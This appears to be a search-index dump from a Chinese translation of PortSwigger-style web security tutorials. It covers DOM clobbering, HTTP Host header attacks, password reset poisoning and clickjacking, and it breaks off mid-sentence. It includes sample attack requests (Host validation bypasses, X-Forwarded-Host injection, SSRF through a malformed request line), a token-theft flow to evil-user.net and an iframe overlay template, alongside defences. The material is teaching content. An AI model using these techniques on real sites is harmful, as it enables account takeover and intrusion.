你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。 总之: 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。 ","date":"2021-03-07","objectID":"/translation/web-security/dom-based/dom-clobbering/:3:0","tags":[],"title":"DOM clobbering","uri":"/translation/web-security/dom-based/dom-clobbering/"},{"categories":["web security"],"content":"web 安全之 HTTP Host header attacks","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host header attacks 在本节中,我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法,并演示如何利用此方法。最后,我们将提供一些有关如何保护自己网站的一般建议。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:0:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"什么是 HTTP Host 头 从 HTTP/1.1 开始,HTTP Host 头是一个必需的请求头,其指定了客户端想要访问的域名。例如,当用户访问 https://portswigger.net/web-security 时,浏览器将会发出一个包含 Host 头的请求: GET /web-security HTTP/1.1 Host: portswigger.net 在某些情况下,例如当请求被中介系统转发时,Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:1:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 头的作用是什么 HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确,则把请求路由到预期的应用程序时会出现问题。 历史上因为每个 IP 地址只会托管单个域名的内容,所以并不存在模糊性。但是如今,由于基于云的解决方案和相关架构的不断增长,使得多个网站和应用程序在同一个 IP 地址访问变得很常见,这种方式也越来越受欢迎,部分原因是 IPv4 地址耗尽。 当多个应用程序通过同一个 IP 地址访问时,通常是以下情况之一。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"虚拟主机 一种可能的情况是,一台 web 服务器部署多个网站或应用程序,这可能是同一个所有者拥有多个网站,也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见,但在一些基于云的 SaaS 解决方案中仍然会出现。 在这种情况下,尽管每个不同的网站都有不同的域名,但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。 对于访问网站的普通用户来说,通常无法区分网站使用的是虚拟主机还是自己的专用服务器。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:1","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"通过中介路由流量 另一种常见的情况是,网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时,这种情况尤其普遍。 在这种情况下,即使不同的网站托管在不同的后端服务器上,但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战,即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:2","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 头如何解决这个问题 解决上述的情况,都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址,但是这个街道地址后面有许多个不同的公寓房间,每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言,Host 头的作用与之类似。 当浏览器发送请求时,目标 URL 将解析为特定服务器的 IP 地址,当服务器收到请求时,它使用 Host 头来确定预期的后端并相应地转发该请求。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:2:3","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"什么是 HTTP Host 头攻击 HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头,且未能正确验证或转义它,则攻击者可能会使用此输入来注入有害的有效负载,以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 “Host header injection”(主机头注入攻击)。 现成的 web 应用通常不知道它们部署在哪个域上,除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时,例如要生成电子邮件中包含的 URL ,他们可能会从 Host 头检索域名: \u003ca href=\"https://_SERVER['HOST']/support\"\u003eContact support\u003c/a\u003e 标头的值也可以用于基础设施内不同系统之间的各种交互。 由于 Host 头实际上用户可以控制的,因此可能会导致很多问题。如果输入没有正确的转义或验证,则 Host 头可能会成为利用其他漏洞的潜在载体,最值得注意的是: Web 缓存中毒 特定功能中的业务逻辑缺陷 基于路由的 SSRF 典型的服务器漏洞,如 SQL 注入 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:3:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"HTTP Host 漏洞是如何产生的 HTTP Host 漏洞的产生通常是基于存在缺陷的假设,即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了,其值未进行正确的验证或转义,而攻击者可以使用工具轻松地修改 Host 。 即使 Host 头本身得到了安全的处理,也可以通过注入其他标头来覆盖 Host ,这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的,因此,可能不会进行严格的审查。 实际上,许多漏洞并不是由于编码不安全,而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题,是因为网站将第三方技术集成到其体系架构中,而未完全了解配置选项及其安全含义。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:4:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"利用 HTTP Host 头漏洞 详细内容请查阅本章下文。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:5:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"如何防御 HTTP Host 头攻击 防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要,你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。 其他防御措施有: 保护绝对的 URL 地址 如果你必须使用绝对的 URL 地址,则应该在配置文件中手动指定当前域名并引用此值,而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。 验证 Host 头 如果必须使用 Host 头,请确保正确验证它。这包括对照允许域的白名单进行检查,拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项,这将减少你遭受主机标头注入攻击的风险。 不支持能够重写 Host 的头 检查你是否不支持可能用于构造攻击的其他标头,尤其是 X-Forwarded-Host ,牢记默认情况下这些头可能是被允许的。 使用内部虚拟主机时要小心 使用虚拟主机时,应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则,攻击者可能会通过 Host 头来访问内部域。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/:6:0","tags":[],"title":"web 安全之 HTTP Host header attacks","uri":"/translation/web-security/http-host-header-attacks/http-host-header-attacks/"},{"categories":["web security"],"content":"Exploiting HTTP Host header vulnerabilities","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何识别和利用 HTTP Host 头漏洞 在本节中,我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后,我们将提供一些示例,说明如何利用此漏洞。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:0:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何使用 HTTP Host 头测试漏洞 要测试网站是否易受 HTTP Host 攻击,你需要一个拦截代理(如 Burp proxy )和手动测试工具(如 Burp Repeater 和 Burp intruiter )。 简而言之,你需要能够修改 Host 标头,并且你的请求能够到达目标应用程序。如果是这样,则可以使用此标头来探测应用程序,并观察其对响应的影响。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"提供一个任意的 Host 头 在探测 Host 头注入漏洞时,第一步测试是给 Host 头设置任意的、无法识别的域名,然后看看会发生什么。 一些拦截代理直接从 Host 头连接目标 IP 地址,这使得这种测试几乎不可能;对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而,Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离,这种分离允许你提供所需的任意或格式错误的主机头,同时仍然确保将请求发送到预期目标。 有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。 另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 “Invalid Host header” 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:1","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"检查是否存在验证缺陷 你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 “Invalid Host header” 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。 你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。 GET /example HTTP/1.1 Host: vulnerable-website.com:bad-stuff-here 某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾: GET /example HTTP/1.1 Host: notvulnerable-website.com 或者,你可以利用已经泄露的不安全的子域: GET /example HTTP/1.1 Host: hacked-subdomain.vulnerable-website.com 有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:2","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"发送不明确的请求 验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。 以下是几个示例,说明如何创建模棱两可的请求。 注入重复的 Host 头 一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。 不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求: GET /example HTTP/1.1 Host: vulnerable-website.com Host: bad-stuff-here 假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。 提供一个绝对的 URL 地址 虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。 同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。 GET https://vulnerable-website.com/ HTTP/1.1 Host: bad-stuff-here 请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。 添加 line wrapping 你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。 由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求: GET /example HTTP/1.1 Host: bad-stuff-here Host: vulnerable-website.com 网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 “wrapped” Host 头传递任意值。 其他技术 这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:3","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"注入覆盖 Host 的标头 即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。 正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。 为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。 你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。 GET /example HTTP/1.1 Host: vulnerable-website.com X-Forwarded-Host: bad-stuff-here 尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括: X-Host X-Forwarded-Server X-HTTP-Host-Override Forwarded 从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:1:4","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"如何利用 HTTP Host 头 一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。 在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。 密码重置中毒 Web 缓存中毒 利用典型的服务器端漏洞 绕过身份验证 虚拟主机暴力破解 基于路由的 SSRF ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:0","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"密码重置中毒 攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:1","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"通过 Host 头的 Web 缓存中毒 在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。 但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。 要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。 独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。 Web 缓存中毒有一个独立的专题讨论。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:2","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"利用典型的服务端漏洞 每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:3","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"访问受限功能 某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:4","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"暴力破解使用虚拟主机的内部网站 公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况: www.example.com:12.34.56.78 intranet.example.com:10.0.0.132 在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:5","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"基于路由的 SSRF 有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 “Host header SSRF attacks” 。 经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。 尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。 这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。 你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。 在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。 通过格式错误的请求行进行 SSRF 自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。 例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢? GET @private-intranet/example HTTP/1.1 此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/:2:6","tags":[],"title":"Exploiting HTTP Host header vulnerabilities","uri":"/translation/web-security/http-host-header-attacks/exploiting-http-host-header-vulnerabilities/"},{"categories":["web security"],"content":"Password reset poisoning","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"Password reset poisoning 密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:0:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"密码重置是如何工作的 几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是: 用户输入用户名或电子邮件地址,然后提交密码重置请求。 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j。 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。 与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:1:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"如何构造一个密码重置中毒攻击 如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击: 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net 。 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。 在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。 即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。 ","date":"2021-03-06","objectID":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/:2:0","tags":[],"title":"Password reset poisoning","uri":"/translation/web-security/http-host-header-attacks/password-reset-poisoning/"},{"categories":["web security"],"content":"web 安全之 Clickjacking ( UI redressing )","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Clickjacking ( UI redressing ) 在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:0:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"什么是点击劫持 点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。 例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。 针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:1:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"如何构造一个基本的点击劫持攻击 点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下: \u003chead\u003e \u003cstyle\u003e #target_website { position:relative; width:128px; height:128px; opacity:0.00001; z-index:2; } #decoy_website { position:absolute; width:300px; height:400px; z-index:1; } \u003c/style\u003e \u003c/head\u003e ... \u003cbody\u003e \u003cdiv id=\"decoy_website\"\u003e ...decoy web content here... \u003c/div\u003e \u003ciframe id=\"target_website\" src=\"https://vulnerable-website.com\"\u003e \u003c/iframe\u003e \u003c/body\u003e 目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:2:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"预填写输入表单 一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。 ","date":"2021-03-05","objectID":"/translation/web-security/clickjacking/clickjacking/:3:0","tags":[],"title":"web 安全之 Clickjacking","uri":"/translation/web-security/clickjacking/clickjacking/"},{"categories":["web security"],"content":"Frame 拦截脚本 只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为: 检查并强制当前窗口是主窗口或顶部窗口 使所有 frame 可见。 阻止点击可不见的 frame。 拦截并标记对用户的潜在点击劫持攻击。 Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 